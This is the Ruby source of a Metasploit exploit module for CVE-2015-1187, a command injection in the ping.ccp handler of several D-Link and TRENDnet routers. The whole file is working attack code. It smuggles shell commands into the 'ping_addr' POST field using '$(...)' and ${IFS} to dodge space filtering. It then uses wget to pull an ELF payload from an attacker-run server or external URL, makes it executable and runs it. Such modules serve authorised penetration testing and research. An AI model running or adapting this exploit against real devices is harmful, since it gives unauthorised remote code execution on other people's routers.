metasploit-framework/modules/exploits/linux/http/multi_ncc_ping_exec.rb

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ManualRanking  #only tested in emulated environment

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'D-Link/TRENDnet NCC Command Injection (ping.ccp)',
      'Description'    => %q{
        This module exploits a remote command injection vulnerability on several routers.
        This module was tested in an emulated environment of a DIR-626L only. Several
        D-Link and TRENDnet devices are reported as affected:
        D-Link DIR-626L (Rev A) - v1.04b04,
        D-Link DIR-636L (Rev A) - v1.04,
        D-Link DIR-808L (Rev A) - v1.03b05,
        D-Link DIR-810L (Rev A) - v1.01b04,
        D-Link DIR-810L (Rev B) - v2.02b01,
        D-Link DIR-820L (Rev A) - v1.02B10,
        D-Link DIR-820L (Rev A) - v1.05B03,
        D-Link DIR-820L (Rev B) - v2.01b02,
        D-Link DIR-826L (Rev A) - v1.00b23,
        D-Link DIR-830L (Rev A) - v1.00b07,
        D-Link DIR-836L (Rev A) - v1.01b03,
        TRENDnet TEW-731BR (Rev 2) - v2.01b01
      },
      'Author'         =>
        [
          'Peter Adkins <peter.adkins[at]kernelpicnic.net>', # Vulnerability discovery and initial PoC
          'Tiago Caetano Henriques', # Vulnerability discovery and initial PoC
          'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2015-1187'],
          ['BID', '72816'],
          ['URL', 'https://github.com/darkarnium/secpub/tree/master/Multivendor/ncc2'], #advisory with PoC
          ['URL', 'http://seclists.org/fulldisclosure/2015/Mar/15'], #advisory with PoC
          ['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10052'] #vendor site with update
        ],
      'Targets'        =>
        [
          [ 'Linux mipsel Payload',
            {
            'Arch' => ARCH_MIPSLE,
            'Platform' => 'linux'
            }
          ],
          [ 'Linux mipsbe Payload',
            {
            'Arch' => ARCH_MIPSBE,
            'Platform' => 'linux'
            }
          ],
        ],
      'DisclosureDate'  => 'Feb 26 2015',
      'DefaultTarget'   => 0))

    register_options(
      [
        OptString.new('WRITABLEDIR', [ true, 'A directory where we can write files', '/tmp' ]),
        OptString.new('EXTURL', [ false, 'An alternative host to request the EXE payload from' ]),
        OptString.new('TARGETURI', [true, 'The base path to the eScan Web Administration console', '/ping.ccp']),
        OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 10])
      ], self.class)
  end

  def check
    begin
      res = send_request_cgi({
        'method' => 'GET',
        'uri'    => normalize_uri(target_uri.path.to_s)
      })

      # unknown if other devices also using mini_httpd
      if res && [500].include?(res.code) and res.headers["Server"] and res.headers["Server"] =~ /mini_httpd/
        return Exploit::CheckCode::Detected
      end
    rescue ::Rex::ConnectionError
      return Exploit::CheckCode::Unknown
    end

    Exploit::CheckCode::Unknown
  end

  def exec_command(cmd, timeout=20)
    begin
      res = send_request_cgi({
        'method' => 'POST',
        'uri'    => normalize_uri(target_uri.path.to_s),
        'encode_params' => false,
        'vars_post' => {
          "ccp_act" => "ping_v6",
          "ping_addr" => '$(' + cmd + ')'
        }
      }, timeout)
      return res
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
    end
  end

  def primer
    @payload_url = get_uri
    wget_payload
  end

  def exploit
    print_status("#{peer} - Accessing the vulnerable URL...")

    unless check == Exploit::CheckCode::Detected
      fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")
    end

    print_status("#{peer} - Exploiting...")

    @pl = generate_payload_exe

    if @pl.blank?
      fail_with(Failure::BadConfig, "#{peer} - Failed to generate the ELF, select a native payload")
    end
    @payload_url  = ""

    if datastore['EXTURL'].blank?
      begin
        Timeout.timeout(datastore['HTTPDELAY']) {super}
      rescue Timeout::Error
      end
      chmod_payload
      exec_payload
    else
      @payload_url = datastore['EXTURL']
      wget_payload
      chmod_payload
      exec_payload
    end
  end

  def wget_payload
    #
    # download payload
    #
    print_status("#{peer} - Downloading the payload to the target machine...")

    @dropped_elf = rand_text_alpha(rand(5) + 3)

    cmd = "wget${IFS}#{@payload_url}${IFS}-O${IFS}#{File.join(datastore['WRITABLEDIR'], @dropped_elf)}"
    res = exec_command(cmd)
    if res && [200].include?(res.code) and res.headers["Server"] and res.headers["Server"] =~ /mini_httpd/
      register_files_for_cleanup(File.join(datastore['WRITABLEDIR'], @dropped_elf))
    else
      fail_with(Failure::Unknown, "#{peer} - Failed to download the payload to the target")
    end
  end

  def chmod_payload
    #
    # chmod
    #
    cmd = "chmod${IFS}777${IFS}#{File.join(datastore['WRITABLEDIR'], @dropped_elf)}"
    print_status("#{peer} - chmod the payload...")

    res = exec_command(cmd, 1)
    if (!res)
      fail_with(Failure::Unknown, "#{peer} - Unable to chmod payload")
    end

    select(nil, nil, nil, 1)
  end

  def exec_payload
    #
    # execute
    #
    cmd = File.join(datastore['WRITABLEDIR'], @dropped_elf)
    print_status("#{peer} - Executing the payload...")

    res = exec_command(cmd, 1)
    if (!res)
      fail_with(Failure::Unknown, "#{peer} - Unable to exec payload")
    end

    select(nil, nil, nil, 1)
  end

  # Handle incoming requests from the server
  def on_request_uri(cli, request)
    print_status("Request: #{request.uri}")
    if request.uri =~ /#{Regexp.escape(get_resource)}/
      print_status("Sending payload...")
      send_response(cli, @pl)
    end
  end
end